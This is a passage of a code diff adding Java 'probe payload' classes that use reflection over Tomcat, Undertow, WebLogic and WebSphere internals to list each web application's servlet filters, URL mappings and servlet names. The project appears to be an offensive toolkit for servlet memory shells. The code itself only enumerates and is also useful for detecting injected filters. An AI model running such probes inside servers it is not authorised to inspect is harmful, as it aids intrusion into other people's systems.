} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||||
|
return invokeMethod(obj, methodName, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+212
@@ -0,0 +1,212 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class UndertowFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> io.undertow.servlet.spec.ServletContextImpl
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
// deploymentInfo -> io.undertow.servlet.api.DeploymentInfo
|
||||||
|
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
|
||||||
|
Map<String, Object> filters = (Map<String, Object>) getFieldValue(deploymentInfo, "filters");
|
||||||
|
List<Object> filterUrlMappings = (List<Object>) getFieldValue(deploymentInfo, "filterUrlMappings");
|
||||||
|
List<Object> filterServletNameMappings = (List<Object>) getFieldValue(deploymentInfo, "filterServletNameMappings");
|
||||||
|
for (Object filterUrlMapping : filterUrlMappings) {
|
||||||
|
// filterUrlMapping -> io.undertow.servlet.api.FilterMappingInfo
|
||||||
|
Map<String, Object> info = fillFilterInfo(filterUrlMapping, filters, aggregatedData);
|
||||||
|
String urlPattern = (String) getFieldValue(filterUrlMapping, "mapping");
|
||||||
|
if (urlPattern != null) {
|
||||||
|
((Set<String>) info.get("urlPatterns")).add(urlPattern);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (Object filterServletNameMapping : filterServletNameMappings) {
|
||||||
|
// filterServletNameMapping -> io.undertow.servlet.api.FilterMappingInfo
|
||||||
|
Map<String, Object> info = fillFilterInfo(filterServletNameMapping, filters, aggregatedData);
|
||||||
|
String servletNames = (String) getFieldValue(filterServletNameMapping, "mapping");
|
||||||
|
if (servletNames != null) {
|
||||||
|
((Set<String>) info.get("servletNames")).add(servletNames);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Map<String, Object> fillFilterInfo(Object filterServletNameMapping, Map<String, Object> filters, Map<String, Map<String, Object>> aggregatedData) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
String filterName = (String) getFieldValue(filterServletNameMapping, "filterName");
|
||||||
|
if (!aggregatedData.containsKey(filterName)) {
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", filterName);
|
||||||
|
Class<?> filterClass = (Class<?>) getFieldValue(filters.get(filterName), "filterClass");
|
||||||
|
info.put("filterClass", filterClass.getName());
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(filterName, info);
|
||||||
|
}
|
||||||
|
return aggregatedData.get(filterName);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = thread.getContextClassLoader()
|
||||||
|
.loadClass("io.undertow.servlet.handlers.ServletRequestContext");
|
||||||
|
Object requestContext = invokeMethod(clazz, "current", null, null);
|
||||||
|
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null);
|
||||||
|
if (servletContext != null) {
|
||||||
|
contexts.add(servletContext);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+254
@@ -0,0 +1,254 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.management.ManagementFactory;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class WebLogicFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> weblogic.servlet.internal.WebAppServletContext
|
||||||
|
// filterManager -> weblogic.servlet.internal.FilterManager
|
||||||
|
Object filterManager = getFieldValue(context, "filterManager");
|
||||||
|
Map<String, Object> filters = (Map<String, Object>) getFieldValue(filterManager, "filters");
|
||||||
|
List<Object> filterPatternList = (ArrayList<Object>) getFieldValue(filterManager, "filterPatternList");
|
||||||
|
List<Object> filterServletList = (ArrayList<Object>) getFieldValue(filterManager, "filterServletList");
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
for (Object filterInfo : filterPatternList) {
|
||||||
|
// filterInfo -> weblogic.servlet.internal.FilterManager$FilterInfo
|
||||||
|
Object urlMap = getFieldValue(filterInfo, "map");
|
||||||
|
String filterName = (String) getFieldValue(filterInfo, "filterName");
|
||||||
|
if (filterName == null) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
Object[] mapValues = (Object[]) invokeMethod(urlMap, "values", null, null);
|
||||||
|
filterName = ((String) mapValues[0]);
|
||||||
|
}
|
||||||
|
Map<String, Object> info = fillFilterInfo(aggregatedData, filterName, filters);
|
||||||
|
String[] urlPatterns = (String[]) invokeMethod(urlMap, "keys", null, null);
|
||||||
|
if (urlPatterns != null) {
|
||||||
|
((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urlPatterns));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (Object filterInfo : filterServletList) {
|
||||||
|
// filterInfo -> weblogic.servlet.internal.FilterManager$FilterInfo
|
||||||
|
String filterName = (String) getFieldValue(filterInfo, "filterName");
|
||||||
|
Map<String, Object> info = fillFilterInfo(aggregatedData, filterName, filters);
|
||||||
|
String servletName = (String) getFieldValue(filterInfo, "servletName");
|
||||||
|
if (servletName != null) {
|
||||||
|
((Set<String>) info.get("servletNames")).add(servletName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Map<String, Object> fillFilterInfo(Map<String, Map<String, Object>> aggregatedData, String filterName, Map<String, Object> filters) throws Exception {
|
||||||
|
if (!aggregatedData.containsKey(filterName)) {
|
||||||
|
// filterWrapper -> weblogic.servlet.internal.FilterWrapper
|
||||||
|
Object filterWrapper = filters.get(filterName);
|
||||||
|
String filterClassName = null;
|
||||||
|
try {
|
||||||
|
filterClassName = (String) getFieldValue(filterWrapper, "filterClassName");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
filterClassName = (String) getFieldValue(filterWrapper, "filterclass");
|
||||||
|
}
|
||||||
|
if (filterClassName == null) {
|
||||||
|
Object filter = getFieldValue(filterWrapper, "filter");
|
||||||
|
if (filter != null) {
|
||||||
|
filterClassName = filter.getClass().getName();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", filterName);
|
||||||
|
info.put("filterClass", filterClassName);
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(filterName, info);
|
||||||
|
}
|
||||||
|
return aggregatedData.get(filterName);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
|
*/
|
||||||
|
public static Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
|
String key = entry.getKey();
|
||||||
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
|
Object value = entry.getValue();
|
||||||
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
return webappContexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+285
@@ -0,0 +1,285 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class WebSphereFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> com.ibm.ws.webcontainer.webapp.WebAppImpl
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
// filterManager -> com.ibm.ws.webcontainer.filter.WebAppFilterManager
|
||||||
|
Object filterManager = getFieldValue(context, "filterManager");
|
||||||
|
// webAppConfig -> com.ibm.ws.webcontainer.webapp.WebAppConfigurationImpl
|
||||||
|
Object webAppConfig = getFieldValue(context, "config");
|
||||||
|
try {
|
||||||
|
// WebLogic 12+
|
||||||
|
List<Object> uriFilterMappingInfos = (List<Object>) getFieldValue(webAppConfig, "uriFilterMappingInfos");
|
||||||
|
for (Object uriFilterMappingInfo : uriFilterMappingInfos) {
|
||||||
|
// uriFilterMappingInfo -> com.ibm.ws.webcontainer.filter.FilterMapping
|
||||||
|
Map<String, Object> info = filterFilterInfo1(uriFilterMappingInfo, aggregatedData);
|
||||||
|
String urlPattern = (String) invokeMethod(uriFilterMappingInfo, "getUrlPattern", null, null);
|
||||||
|
if (urlPattern != null && !urlPattern.isEmpty()) {
|
||||||
|
((Set<String>) info.get("urlPatterns")).add(urlPattern);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
List<Object> servletFilterMappingInfos = (List<Object>) getFieldValue(webAppConfig, "servletFilterMappingInfos");
|
||||||
|
for (Object servletFilterMappingInfo : servletFilterMappingInfos) {
|
||||||
|
// servletFilterMappingInfo -> com.ibm.ws.webcontainer.filter.FilterMapping
|
||||||
|
Map<String, Object> info = filterFilterInfo1(servletFilterMappingInfo, aggregatedData);
|
||||||
|
String servletName = (String) invokeMethod(invokeMethod(servletFilterMappingInfo, "getServletConfig"), "getServletName");
|
||||||
|
if (servletName != null && !servletName.isEmpty()) {
|
||||||
|
((Set<String>) info.get("servletNames")).add(servletName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
List<Object> uriFilterMappings = (List<Object>) getFieldValue(filterManager, "_uriFilterMappings");
|
||||||
|
for (Object uriFilterMapping : uriFilterMappings) {
|
||||||
|
// uriFilterMapping -> com.ibm.ws.webcontainer.filter.WebAppFilterManager$FilterMappingInfo
|
||||||
|
Map<String, Object> info = fillFilterInfo2(uriFilterMapping, aggregatedData, webAppConfig);
|
||||||
|
String urlPattern = (String) getFieldValue(uriFilterMapping, "_filterURI");
|
||||||
|
if (urlPattern != null && !urlPattern.isEmpty()) {
|
||||||
|
((Set<String>) info.get("urlPatterns")).add(urlPattern);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
List<Object> servletFilterMappings = (List<Object>) getFieldValue(filterManager, "_servletFilterMappings");
|
||||||
|
for (Object servletFilterMapping : servletFilterMappings) {
|
||||||
|
// servletFilterMapping -> com.ibm.ws.webcontainer.filter.WebAppFilterManager$FilterMappingInfo
|
||||||
|
Map<String, Object> info = fillFilterInfo2(servletFilterMapping, aggregatedData, webAppConfig);
|
||||||
|
